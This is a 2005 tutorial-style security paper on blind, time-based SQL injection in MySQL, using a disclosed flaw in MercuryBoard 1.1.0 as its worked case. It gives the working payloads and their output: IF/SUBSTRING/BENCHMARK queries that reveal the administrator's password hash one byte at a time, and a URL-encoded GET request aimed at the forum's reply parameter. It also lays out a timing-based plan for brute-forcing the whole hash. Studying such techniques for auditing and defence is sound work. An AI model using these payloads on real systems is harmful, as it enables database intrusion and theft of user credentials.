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{                            [   Zeelock-2005   ]                              }
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{                 A D V A N C E D  S Q L - I N J E C T I O N                   }
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{                  [   Blind Injection in MySQL Databases   ]                  }
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"Validate anything can be passed. Security lays in the inputs. " - zk

Date: 15th February 2005
Keywords: Benchmark(), IF(), "Blind Injection", "Time Delay", waitfor


Abstract
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MySQL is not an easy database for Blind SQL Injection: it displays no errors 
when an UNION occours between two columns of different type and there isn't a 
way to make a query displaying errors from parameters passed inside the query 
itself. Many times happens that auditing the code of a php/MySQL application, we 
find an injection vulnerability that is not exploitable, because we cannot see 
the output or we see always an error cause the value retrieved is passed to 
multiple queries with a different numbers of columns before the script ends. 

In this cases the SELECT...UNION statement isn't enough. Or not?


Injection toolbox
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A common trick is always to UNION SELECT [null,null,.. up to the right number of 
columns in the previous SELECT]/* to see when we get no errors, so we can 
procede further. Even if we know exactly the name of each COLUMN in each TABLE, 
is nearly impossible to retrieve the content if no output is displayed.

In the following examples I'll show you step by step how to retrieve the 
password hash from a vulnerability discovered in MercuryBoard by codebug.org 
that seemed not to be  exploitable because you cannot see any good output.

I assume that the name of the tables is already known. (This is a common issue,
during the auditing of Opensource scripts, or when debugging options are active
by default).


The Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MercuryBoard v. 1.1.0 Alberto Trivero discovered an SQL-Injection when the 
post.php include was switched to 'reply' and the parameter 't' was passed.
The issue generated an error when an user is logged in an tries to perform the
following operation:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1'

The issue seemed not to be exploitable. In reality it was.


Being Ready for Blindness
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First of all I have fully installed a vulnerable version of Mercuryboard with 
a low privileges user for the DB.


|---| DATABASE name is 'mercuryboard'|---| (let's show the tables)

mysql> SHOW TABLES;
+-------------------+
| Tables_in_mercury |
+-------------------+
| mb_active         |
| mb_attach         |
| mb_forums         |
| mb_groups         |
| mb_help           |
| mb_logs           |
| mb_membertitles   |
| mb_pmsystem       |
| mb_posts          |
| mb_replacements   |
| mb_settings       |
| mb_skins          |
| mb_subscriptions  |
| mb_templates      |
| mb_topics         |
| mb_users          |
| mb_votes          |
+-------------------+
17 rows in set (0.00 sec)


|---| As you can see Current User is a common User |---| (Never run as root!)

mysql> SELECT USER();
+---------------+
| USER()        |
+---------------+
| 123@localhost |
+---------------+
1 row in set (0.00 sec)

mysql> SELECT password,USER() FROM mysql.user;
ERROR 1142: select command denied to user: '123@localhost' for table 'user'
mysql>


|---| The following query shows the first byte of Admin's Hash |---|

mysql> SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
+------------------------------+
| SUBSTRING(user_password,1,1) |
+------------------------------+
| 5                            |
+------------------------------+
1 row in set (0.00 sec)


|---| The following is the first byte of Admin's Hash as ASCII number |---|

mysql> SELECT ASCII('5');
+------------+
| ASCII('5') |
+------------+
|         53 |
+------------+
1 row in set (0.00 sec)


Feeling the difference
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The goal is to find a way to be advised in someway that the contant we are
looking for is the right one. How is it possible to know if the first byte of 
Admin Hash is or not equal to '5'? 
Well, in NGSS whitepaper the author simply made the query to be delayed if the
content matched the one injected. In msSQL this was pursued with a conditional
IF [QUERY] waitfor [TIME]. MySQL doesn't support 'waitfor'.

In the following query I succeded in creating a delayed of 5 seconds by using an
IF() function followed by a BENCHMARK() function. Current User can execute it 
with low privileges (Usually you can execute the BENCHMARK() function if you can
SELECT). That's why is so powerful.


|---| Passing a wrong number |---| (CHAR(52) is equal to '4')

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(52),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (0.00 sec)

In the previous example the BENCHMARK() function is not executed (Elapsed Time 
0.00 sec). 


|---| Passing the matching content |---| (BENCHMARK() is executed)

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(5000000,ENCODE('Slow Down','by 5 seconds')),null) FROM
mb_users WHERE user_group = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (5.36 sec)

In the previous example the BENCHMARK() function delayed the query by 5.36 sec.


Prepairing for GET req
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To inject sql commands succesfully we have to clean the request from any single
quote.


|---| Cleaning from quotes |---|

mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1
,1) = CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null) FROM mb_users WHERE user_gr
oup = 1;
+-----------+
| active_id |
+-----------+
|         3 |
|         0 |
+-----------+
2 rows in set (4.65 sec)

mysql>


Exploiting the vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
First we have to log in a Registered User with the rights to reply in the 
current thread.

http://127.0.0.1/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF
(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),
null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*

And we'll see a slow down of a couple of seconds cause the first byte is 
CHAR(53), 5.


Bruteforcing
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
For rebuilding content letter by letter is needed only a simple perl script that
performs GET requests and wait for the answer byte after byte {..SUBSTRING(strn,
[1,2,3..n],1)..} and if the response is delayed by 7 to 10 seconds, we have the 
right stuff. Bruteforcing could take a while with MD5 hashes, because they are 
alfanumeric, 32 bytes long. Fortunately not CASE SENSITIVE.

0 to 9 --> ASCII 48 to 57
a to z --> ASCII 97 to 122

In the worst case it takes about 36 requests of about 3 sec per request plus the
 delay for the right byte. A full hash in the worst case could be retrieved in 
 ((3*35)+10)*32= 3622 seconds (1 hour).


Conclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Even MySQL is subjected to Blind Sql Injection.

Thanks to +mala (PowerBrowsing and GA are awesome), NGSS security (for such 
'avanced' papers), BlueberryPie friends